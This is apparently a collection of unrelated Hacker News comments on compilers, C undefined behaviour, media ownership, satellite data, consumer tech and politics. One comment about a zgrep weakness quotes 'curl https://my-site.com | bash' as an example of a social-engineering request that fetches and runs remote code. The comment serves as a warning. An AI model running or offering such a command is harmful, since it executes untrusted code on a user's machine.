skysight-inc/HackerNews huggingface dataset:
Yeah I discuss this at the end of the post. Will link it here:

The current best known defense is Diverse Double-Compiling (DDC), introduced by David Wheeler in 2009. To briefly summarize DDC uses different compilers of the same language to test the integrity of a chosen compiler. In order to pass this test the attacker must have modified all the selected compilers beforehand to insert backdoors into each other, which is a decent amount of work. DDC is a good idea but it has 2 shortcomings that come to mind. The first is that DDC requires all selected compilers to have reproducible builds, meaning that each compiler always generates the exact same executable given the same source code. Reproducible builds aren’t very common because compilers by default include things like timestamps and unique IDs in their builds. The second shortcoming is that DDC becomes less effective for languages that only have a few compilers. Also DDC can’t even be applied to newer languages like Rust with only one compiler. In summary, DDC isn’t a silver bullet and the Thompson attack is still considered to be an open problem.
From my experience, it is slow on every platform. I once wanted to make some vector art illustrations for a book a friend was working on, and ended up doing high-resolution raster graphics in GIMP instead because the vector graphics tools I tried (mainly Inkscape, because it had the best reviews) were either buggy or too painfully slow to use.
So malware has finally crossed the electronic-human barrier. Wow.
The number of "a16z partner" announcements on twitter lately make me think a16z is becoming something of a joke.
Yeah, and God forbid Twitter change hands!!!1!1!!1!

/s
Full-text voice recognition is CPU intensive though, so one can expect mobile that's doing that all the time to drain its battery pretty fast in a noisy environment which should be rather obvious.
B/c when the fund managers buy assets to make the index fund to resell to retail investors, they usually get the same voting rights from their ownership as a normal shareholder, and they don't pass that part on to the retail investors, no?
The prowess of materials science in companies like 3M and Dupont never ceases to amaze me. Just when I think I've seen it all with fiberglass tape and kapton tape...
It’s only impossible under our current understanding of physics, which on the scale of humanity is a brief little slice of time. A hundred years from now who knows what discoveries we will find that either bypass FTL travel or change our understanding of the universe so much that “time and distance” become irrelevant.
No, the tracking number only shows the delivery date for most carriers. You gotta login to see the delivery time.
This article says homes are 74% larger, but compares to 1910.

Not sure why the cost per household member should matter all. I didn’t get a family size discount on my home.
Just as we can’t prove most of our lived experience :)

Most things might be true but unprovable.
It's amazing how much sugar is in almost everything. I made an effort to cut out as much added sugar as I could and it's exhausting. There are over 50 synonyms for sugar that food companies use.
Who Built Strip Atlas?
anyone knows anyone who worked on Stripe particularly atlas? Would love to chat with them have a question
I thought modern computers are primarily cache limited and even running an os entirely on ram (on a system with no hdd/sdd) isn’t that much faster. I would be curious to see some data.
This is from 2019 but I've lost track of what happened since then. https://www.wired.com/story/carriers-sell-location-data-thir...
Not sure an argument needs to be made? I googled 3 of your 5 statements and they didn't appear true. Plus, you don't seem to take future breakthroughs into account. Technology progresses exponentially.
> Most people do not get their information from the television and so I doubt these six control most of anything.

I know a lot of people who get the majority of their news either from television, or from media properties that they would see on TV, but via the Internet instead.

But I understood part of the point of the article to not be solely about "news" per se, but about general produced media content. And if that's the case, then the list given makes sense to me (Facebook doesn't make TV shows, at least that I know of.)
Normal people use smartphones and if there is anything nerds hate it is normal people hence smartphones are shit.
The lead is

> In a recent Twitter survey I conducted, nearly 90%

Or, put another way, "In a completely scientifically invalid to the point of being laughable survey I conducted, nearly 90%..."
Great comment. I was agonising over whether I should buy a HHKB ($600 keyboard) and I came to a similar conclusion. I’m touching it and using it every single day for the next decade, it should be a joy to use. I can’t remember who said it, but: “An expensive tool upsets you once, when you purchase it. A cheap tool upsets you every single time you have to use it.” Computer people have to start seeing themselves as craftsman. You make a living using your tools (computer, screen, keyboard, desk, chair…), they should be the best you can afford!
Delta Air Lines Tested SpaceX’s Starlink Internet for Planes, Delta CEO Says
It's the same with cars :)

All the people I know who looked in the classifieds and bought themselves a supercar for peanuts then found they needed some small component replaced after a couple of thousand miles, which cost half as much as the car did.
At this point I'd probably just pay a 'sentiment analysis' company that I found off google that's been doing all this stuff for ~10 years.

Lots of correlation models that need to be updated as people learn what gets logged as certain sentiment and then they change their language to not be part of that.

Then I realized you might be asking about "how do you identify a sarcastic comment that looks like praise?" ..and it seems there's no easy answer to that.

https://journals.sagepub.com/doi/10.1177/2053951720972735

https://wpmu.mah.se/nmict162group7/?p=180

So I guess after all this, I've gone from my initial sarcastic remark (the top of this post) to 10 mins later scratching my head and thinking that this business idea is more difficult that going back to our government and demanding more change.
History has shown that those willing to exploit the existing technologies weaknesses profit in wartime. Israel and the US are two great examples
And or the ones funding it.

That dynamic is exactly why so many people oppose electronic voting, electronic court "guidence" and other similar things.

People are super messy, complicated and the strength of automation coupled with the allure of doing less work is the root cause for an awful lot of unnecessary grief, despite let's say for discussion, the best of intent.
Shots fired!

I had to look them up. Today I Learned about one of the earliest football paintings in the world:
https://en.wikipedia.org/wiki/Sunderland_A.F.C.#/media/File:...

That is pretty neat actually.

I don't really follow football but I do enjoy the shit talking. This seems like a fun team to root for actually :)
I Used Raspberry Pi to Detect Water Leaks in My Home
TL;DR, presents an interesting history of feminist theory, and the philosophical underpinnings behind the conflict between radical feminism (TERFs) and trans-inclusive feminism, framed as an apocalyptic battle of mutually opposed ideologies. The author states that feminism must reject trans-inclusivity and stand firmly on a biological definition of sex and gender in order to survive.

Well written, but not unbiased. The site seems to be the journal of the Witherspoon institute, a conservative think-tank.
Agree. Satisfactory is one of my top 10 games.
Cycle accurate? So now you can predict how long RAM latency is down to the cycle, refreshes and DMA be damned?

Interrupt like? So what will you do? save context of this thread, load another...hm...sure sounds like what we already do
these hacks can influence politicians after they've been voted in. If anything direct rigging of a vote is more transparent : people can notice if the vote goes against common sense.
The point was that any government will consider ceding some sort of autonomy to a province that’s threatening to break away, if there’s a possibility that not doing so could result in terrorism. In Spain’s case they’ve had a similar situation in recent history, so you’d hope that they would be extra keen to avoid decades of train station bombings and such.
Energy Density of Li-ion Batteries Grew by More than 8x Between 2008 and 2020
Some random thoughts:

I don't see why that's automatically bad. Most of the "news" we consume is a sort of baseline of current events that doesn't require deep thought and is more about volume. It makes sense that this would be consolidated. It's the remaining 10% where there can be interesting nuance and opinion. Even very differently aligned news sources agree on most stuff.

Related, I get a local paper from the small town where I grew up. It represents a tiny fraction of what I read in a week, and it doesn't cover e.g. the war in Ukraine, but its that sort of thing that actually contributes to how I might experience the news differently from someone else

If you read major news networks like Fox or CNN, they have an obvious agenda, but at least they have some conflicting, if often ridiculous, views on stuff. Come to Canada if you want to see homogeneous media.

There is an outsized influence of elitist publications that normal people don't read, like NYT (is it owneed by someone in the six?), The Atlantic and similar stuff, Twitter, probably more. This is relevant because it helps set the agenda of the ruling class, so even if it's a smaller proportion, it gets an outsized influence in policy, righthink, and what trickles down to the progressive media. There may be an equivalent on the right but I don't know it. There are of course some major narratives that get pushed to rile up the right wing base as well that come from somewhere.

People on HN appear more interested in questioning the premise of the article than discussing centralization in the media
I can do everything you said isn't possible without even modifying anything on my smartphone. Also, comparing PDAs to modern smartphone is just... inaccurate at best. PDAs were essentially devices that were looking for a purpose, with limited uses. And even for those uses they were very mediocre.
so the 3.4e14 is resistance along the tape, and .3 is vertically, right?
As far as I know, US does not. I am pretty sure you think Europe, where ID cards/residence permits are smart cards with PKI built in.
Having worked in the sensing analysis market for a long time, I would frame the recurring business problem as follows, and it applies to sensing data generally, not just satellite imagery:

There is a large market gap between the sensor platform providers and the would-be end users of that sensor data. Business is constrained by the fact that the end users are not capable of consuming what is being produced and neither party in the transaction is really qualified to solve that problem.

Sensor platform companies can't make their data more consumable because they only know their data, not the analytic nuances of the end users nor the other sensor modalities that the end user may be using. They try, with the hope of improving revenue, but it almost never comes off. The end users are experts in their analysis problems and application domains but usually have no skill or capacity to write custom performance-engineered infrastructure software to bring the sensor data into their domain. This software often has pretty hardcore computer science requirements and there is minimal tooling, certainly not in open source, to make this easier or more scalable. There is clearly a market opportunity, but neither of the obvious parties is in a position to address it even for their own immediate benefit.

There are a few companies with expertise in building high-performance data tooling for analytic workflows across sensor modalities with enough application understanding to bring it into the end user's domain. There is a lot of commonality across application domains from the view of tooling requirements but you have to have expertise in several vertical domains to see it, so it is repeatable. These companies have neither the data nor the application but they bring them close enough together that they can "make the market" as it were. Currently this is a high-end contracting business rather than a general platform, so it doesn't scale. But if this tooling became part of a general platform, it would let the sensor data platforms focus on data collection without worrying about how to make the data more consumable for various application domains, which they were failing at anyway.

The state of software tooling for these sensing data applications is primitive, overfitted for single data sources, and not nearly scalable enough. Most other problems in the sensor data market are consequences of this reality.
They have tested catching a dropped mockup version multiple times.
The exploit would have to be a bit contrived.

There aren't, to my knowledge, common programs or setups that would cause this to matter.

This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"

Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.
I'm the same way and I'm mortified whenever I have the displeasure to use some PC or Chromebook laptop trackpad. PC manufacturers today still can't figure out how to make a trackpad as good as what Apple had 20 years ago.
Great. So Dubai should force Indian companies pay their Indian workers more, but Indian companies in India should not be forced to, right?

How would you justify this?
And what if I ask you to apply the same logic to H1B?
Heavy Nix user here.
Since month two I've been using flakes for everything: In projects to holds packages and devshells together with inputs locked via lock files, for holding system configuration, raspberry pi images, nixpkgs overlays etc..

Does GUIX have some similiar thing which can provide a standard formal structure and lock resouces? Thx.
You can cancel a download, but if you've enabled automatic updates macOS might not be aware that you have data limits. And that's terrible. Maybe file a bug or support ticket with Apple.

But the rest of your post is puzzling. The original post was about buying a MacBook & how awful that might be. You're describing developing Apple apps for Apple's platform (and 2FA for a dev account). How would you do those things without an Apple device? And why? If you don't like the forced Apple way, why develop for their platform? But also how does that relate to the choice between the 3 devices in the original post?
Me: 2 years at a satellite imagery company a few years back

This is mostly true, though I will add there are some repeatable insights that people will pay for. In the financial sector, there were plenty of people who paid for car counts data back in 2016 (though many customers did not renew) and there are still people today who are interested in oil inventories data, and mall traffic data (though satellite data is being augmented there these days). The general theme of the piece is correct imo though. When the company I worked at started, we thought there would be many use cases, it became clear after a while there were only a few insights with large markets, and after that a really long tail of custom asks.
unfortunately it seems mastodon devs develop the app they want, not the app the users want.

This will continue to limit its opportunity for wide adoption. Maybe if Elon actually buys twitter they will see a boost.
Capitalism at work keeping the rich rich and the public deprived of decent services.
> s/lobby to strip you of more of your rights/set their own terms on how they want to sell the products of the labor they acquired.

Their "terms of sale" include legally prohibiting you from unlocking your own property, even for otherwise legal purposes. Sorry, did I say terms of sale? I meant law, that applies to you whether or not you buy anything from them. There is not even the fig leaf of "you agreed to the EULA".
Desirable land is not just finite, it's shrinking in area, due to ongoing fossil-fueled global warming. For example, many people who were planning on retiring to the bucolic Sierra foothills in California have changed plans since that whole region is now a major fire risk zone (much more so than it was 40 years ago).

https://www.deseret.com/2022/2/11/22928243/stanford-universi...

> "Rao and other researchers looked at the “vapor pressure deficit,” which is an indicator of how much moisture the air can suck out of soil and plants, across the region. Vapor pressure deficit has increased over the past 40 years across most of the American West, largely because warmer air can hold more water."

Likewise, zones categorized as having major flood risks are expanding:

https://www.nytimes.com/interactive/2020/06/29/climate/hidde...
The answer is The Salton Sea of course

https://www.universityofcalifornia.edu/news/can-salton-sea-g...
That limits your OS to numThreads < numCpus
I feel this is a completely wrong list. I think that platform providers, whether social media or operating systems, now control access to the users: Google, Meta, Twitter, Apple and Microsoft, for the English-speaking readers. Totally different list for the Chinese-speaking readers.
This sounds like exactly what a 'data ownership' law would solve. Allow the user, via some official oauth to their service providers, to authorize even a competitor to access their account so the competitor can bear the burden of interfacing with the API to port their new user's data over; but it should be a one-time-every-year thing, so that the law doesn't require it to the point of forcing companies to scale their service to handle bots like the main OP is experiencing.
You can enter the summary you don't need to list each transaction. You should see the summary in the tax documents robinhood provides.
I believe a total boycott is one approach to try to get a group of people to change their behaviors. I think unionization is another approach that people take, who, for whichever reasons, don't want to leave, and try to gain collective bargaining power to change how the group of people behaves. I think political representation is another approach that people take to change the structure of decision making so that when people don't like something, they have more options than threatening to leave.

But as you say, maybe most, or even the vast majority, of Twitter users don't care and just want it for the "free" entertainment. And that's fine, I'm not saying that people who are satisfied with the current behavior should take any approach to try to change them. I guess I just don't think "well, if you don't like it, you should just leave" approach works very well in situations where it can be quite detrimental for people to leave. Maybe it seems easier because it's "just an app" but some people build much of their professional and social lives on some of these platforms—I know many of these platforms have mediated my professional and social lives during the pandemic—and just up and leaving everything behind may not be the approach that people always want to take for change.
Hi chiming in to double down on this, as the downvotes ongoingly slowly slowly creep downward even still.

In most places, end-to-end security is the goal. But we've literally built the web crypto model to ensure the end user reaps no end-to-end benefit from web cryptography.

The alternative would be to trust the user-agent, to allow end-to-end security. But we don't allow this. We primarily use crypto to uniquely distinctly identify users, as an alternative to passwords.

This is a busted jank ass sorry sad limited piece of shit way for the web to allow cryptography in the platform. This is rank.

The Nitrokey security key people saw this huge gap, & created a prototype/draft set of technologies to enable end-to-end web encryption & secure storage with their security keys. https://github.com/Nitrokey/nitrokey-webcrypt
For general media, Netflix/Amazon? iTunes? ThePirateBay? PornHub? The number of organizations generating and/or delivering content so vast and diverse that I cannot understand how any small group could get their hands around most of anything. I watched a Doctor Who episode today (horrible, bad effects, bad acting). Which of the six owns the BBC?
growing a company is a joke?
I think the GP's (heavy-handed) point is that the proxy ownership doesn't extend to voting rights: when you own shares in an ETF, there is no way for you to individually vote based on the underlying constituent stocks.

(This is arguably a bad thing for long term economic health, since broad-market ETFs have a dampening effect on otherwise healthy amounts of speculation. But I think it's a far cry from saying that they "control" the market, since it's a mostly passive effect.)
Samsung makes enough refrigerators that if you told me 100,000+ people were pissed off enough about theirs to complain on Facebook I really wouldn't doubt it. Also what would you gain from complaining on Facebook? Are these people being paid by LG to trash Samsung products? Does Samsung pay people to trash LG refrigerators on Facebook in return?

Unless there's some kind of evidence to the contrary, I would just assume these people are unhappy with the refrigerator they bought.
Yeah something is majorly off. That’s more than half a day consuming news. There’s no news available after an hour, it’s all olds by that point.
In other "breaking news", poisoned wells feature swarms of deadly bacteria and toxins ...
> I'm reasonably sure signed integer overflow is implementation defined to mean twos complement overflow on x86.

I think you're mistaken, or are using implementation-defined in a colloquial sense; the term implementation-defined has a specific technical meaning in the context of C that isn't the same as how it might be used in common parlance.

The distinction between implemention-defined behaviour and undefined behaviour is extremely important, because as soon as you invoke the latter your program "doesn't exist" and a standards-conforming compiler is allowed to do whatever it wants.

Signed integer overflow is explicitly given as an example of UB by the C standard [1], in 3.4.3:

> 3 EXAMPLE An example of undefined behavior is the behavior on integer overflow.

By my reading, the specific part of the standard that makes signed overflow UB is in 6.5:

> 5 If an exceptional condition occurs during the evaluation of an expression (that is, if the
result is not mathematically defined or not in the range of representable values for its
type), the behavior is undefined.

This is completely unrelated to what actually happens when you issue an ADD instruction on an x86; the C standard doesn't care about this.

[1] : http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf
I don’t want to negate what this person is saying, but from an objective perspective, is this the most diverse source of news we’ve had in human history? I mean 50 years ago it was just the big three right? ABC, CBS, NBC. Maybe the New York Times and the local paper on top of that? And as another person commented this article doesn’t include social media.
https://www.iihs.org/ratings/driver-death-rates-by-make-and-...

Anyone know of other good data sources for comparison?